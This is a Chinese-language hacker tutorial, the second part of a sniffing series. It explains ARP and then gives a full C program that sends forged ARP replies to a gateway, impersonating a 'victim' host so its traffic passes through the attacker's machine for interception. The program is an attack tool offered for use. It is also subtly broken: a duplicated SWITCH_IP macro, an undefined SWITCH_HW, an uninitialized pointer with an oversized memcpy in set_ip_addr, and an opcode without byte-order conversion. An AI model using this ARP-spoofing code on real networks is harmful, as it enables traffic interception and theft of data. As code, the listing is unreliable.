hacker成长的代码之路:嗅探(2)

发表于:2007-07-04来源:作者:点击数: 标签:
作者:kf_701 写作时间:2005/4 Email:kf_701@21cn.com 转载请保留原作者信息,谢谢。 要求的专业知识: 一: 精通OSI参考模型,精通 网络 五层:物理层,数据链路层, 网络 层,传 输层,应用层。精通每一层的协议,数据报格式。精通 网络 拓扑结构, 第一
               作者:kf_701  写作时间:2005/4  Email:kf_701@21cn.com
                转载请保留原作者信息,谢谢。


要求的专业知识
        一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传
                输层,应用层。精通每一层的协议,数据报格式。精通网络拓扑结构,
                第一层,第二层,第三层的网络互联,数据的转发和路由等。
        二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉
                UNIX/LINUX系统操作,熟悉著名服务的基本配置,特性及使用的端口
                号。熟悉经典网络命令的使用,如:netstat,ping,traceroute,
                netcat,arp等。
        三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。
                掌握数据库与WEB语言的结合使用。

    我写到此处,假设你是完全理解局域网的。不过还是引用一段LionD8的文字吧:现在我们就用实例来模拟一下局域网传输的全过程。现在有一台计算机A(IP:192.168.85.1   MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100  BB-BB-BB-BB-BB-BB  dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎 么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自 己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先 察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。

    计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。
    还记得前面说过的交换式局域网吗,为了可以在这样的局域网里进行sniffer,我们不
得不进行ARP欺骗。
    现在假设有这样一个局域网,不管是交换机或是路由做交换设备都可以。我们自己的机
器的IP是192.168.1.7,交换设备的内部IP是192.168.1.1,也就是网关的地址。还有一台
IP是192.168.1.100的机器,就是victim啦,我们想sniffer,就要让victim机器的所有
数据报经过我们的机器192.168.1.7来转发,那么我们就可以用前面写过的sniffer程序截
获信息了。
     我们给交换设备发一个ARP应答,只要把ARP数据报的发送端IP字段填成victim的IP
即可(这个字段原本应该是本机的IP:192.168.1.7)。
     本程序只能在Linux上面运行,使用了SOCK_PACKET,不过现在应该用:
        #include <sys/socket.h>
        #include <netpacket/packet.h>
        #include <net/ethernet.h>
       packet_socket = socket(PF_PACKET, SOCK_RAW, protocol);
来代替比较好。

       24-43是完整的ARP数据报结构定义,这是我们自己定义的。不过根据RFC826的定义,
必须要如此定义。
     43行加了18个字节的0,这是为了把数据报长度填充到以太网数据要求的最小长度:46字节。

    如果你看不懂这个程序,那你应该先想办法达到我上面说明的专业要求的第一项。



     1  /* writed by kf701
     2   * 2005-4-12
     3   * hefei
     4   * kf_701@21cn.com
     5   */
     6  #include<sys/socket.h>
     7  #include<netinet/in.h>
     8  #include<arpa/inet.h>
     9  #include<sys/types.h>
    10  /* #include<linux/if_ether.h> */
    11
    12  #include<stdio.h>
    13  #include<stdlib.h>
    14  #include<string.h>
    15  #include<ctype.h>
    16
    17  /* ETH_P_ARP=0x0806,defined in linux/if_ether.h */

    18  #define SWITCH_IP       "192.168.1.1"
    19  #define VICTIM_IP       "192.168.1.100"
    20  #define LOCAL_HW        "00:30:1B:36:69:ED"
    21  #define SWITCH_IP       "00:0A:EB:DB:FF:24"
    22  #define DEVICE          "eth0"
    23
    24  struct ether_header{
    25          unsigned char  ether_dhost[6];          /* destination eth addr */
    26          unsigned char  ether_shost[6];          /* source ether addr    */
    27          unsigned short ether_type;              /* packet type ID field */
    28  };
    29  struct arp_header{
    30          unsigned short int ar_hrd;              /* Format of hardware address.  */
    31          unsigned short int ar_pro;              /* Format of protocol address.  */
    32          unsigned char ar_hln;                   /* Length of hardware address.  */
    33          unsigned char ar_pln;                   /* Length of protocol address.  */
    34          unsigned short int ar_op;               /* ARP opcode (command).  */
    35          unsigned char __ar_sha[6];              /* Sender hardware address.  */
    36          unsigned char __ar_sip[4];              /* Sender IP address.  */
    37          unsigned char __ar_tha[6];              /* Target hardware address.  */
    38          unsigned char __ar_tip[4];              /* Target IP address.  */
    39  };
    40  struct arp_packet{
    41          struct ether_header ethhdr;
    42          struct arp_header arphdr;
    43          unsigned char padding[18];              /* filled with 0 */
    44  };
    45  /* arp reply:
    46   *      op = 2
    47   *      ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr
    48   *      ethhdr.ether_shost = arphdr.__ar_sha = local hard addr
    49   *      arphdr.__ar_tip = switch ip
    50   *      arphdr.__ar_sip = victim ip
    51   */
    52  #define FRAME_TYPE      0x0806                  /* arp=0x0806,rarp=0x8035 */
    53  #define HARD_TYPE       1                       /* ethernet is 1 */
    54  #define PROTO_TYPE      0x0800                  /* IP is 0x0800 */
    55  #define OP_CODE         2                       /* arp=1/2,rarp=3/4 */
    56
    57  void set_ip_addr(char *,char *);
    58  void set_hw_addr(char *,char *);
    59
    60  int main(int argc,char **argv)
    61  {
    62          int sockfd;
    63          struct arp_packet arp;
    64          struct sockaddr sa;
    65
    66          sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806));
    67          if(sockfd < 0)
    68                  perror("socket error"),exit(1);
    69
    70          /* init arp packet */
    71          arp.ethhdr.ether_type = htons(FRAME_TYPE);
    72          arp.arphdr.ar_hrd = htons(HARD_TYPE);
    73          arp.arphdr.ar_pro = htons(PROTO_TYPE);
    74          arp.arphdr.ar_op = OP_CODE;
    75          arp.arphdr.ar_hln = 6;
    76          arp.arphdr.ar_pln = 4;
    77          set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW);
    78          set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW);
    79          set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW);
    80          set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW);
    81          set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP);
    82          set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP);
    83          bzero(arp.padding,18);
    84
    85          /* send arp reply packet */
    86          strcpy(sa.sa_data,DEVICE);
    87          if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0)
    88                  perror("sendto error"),exit(1);
    89          /* main return */
    90          exit(0);
    91  }
    92
    93  void set_hw_addr (char *buf, char *str)
    94  {
    95          int i;
    96          char c, val;
    97          for(i = 0; i < 6; i++){
    98                  if (!(c = tolower(*str++)))
    99                          perror("Invalid hardware address"),exit(1);
   100                  if (isdigit(c))
   101                          val = c - '0';
   102                  else if (c >= 'a' && c <= 'f')
   103                          val = c-'a'+10;
   104                  else
   105                          perror("Invalid hardware address"),exit(1);
   106                  *buf = val << 4;
   107                  if (!(c = tolower(*str++)))
   108                          perror("Invalid hardware address"),exit(1);
   109                  if (isdigit(c))
   110                          val = c - '0';
   111                  else if (c >= 'a' && c <= 'f')
   112                          val = c-'a'+10;
   113                  else
   114                          perror("Invalid hardware address"),exit(1);
   115                  *buf++ |= val;
   116                  if (*str == ':')
   117                          str++;
   118          }
   119  }
   120
   121  void set_ip_addr(char *buf,char *str)
   122  {
   123          struct in_addr *addr;
   124          addr->s_addr = inet_addr(str);
   125          memcpy(buf,addr,6);
   126          return;
   127  }

主函数很短,主要的代码是前面的结构定义。如果你先前就知道ARP结构,那
程序就没有任何要解释的地方了。
*****待续*****

原文转自:http://www.ltesting.net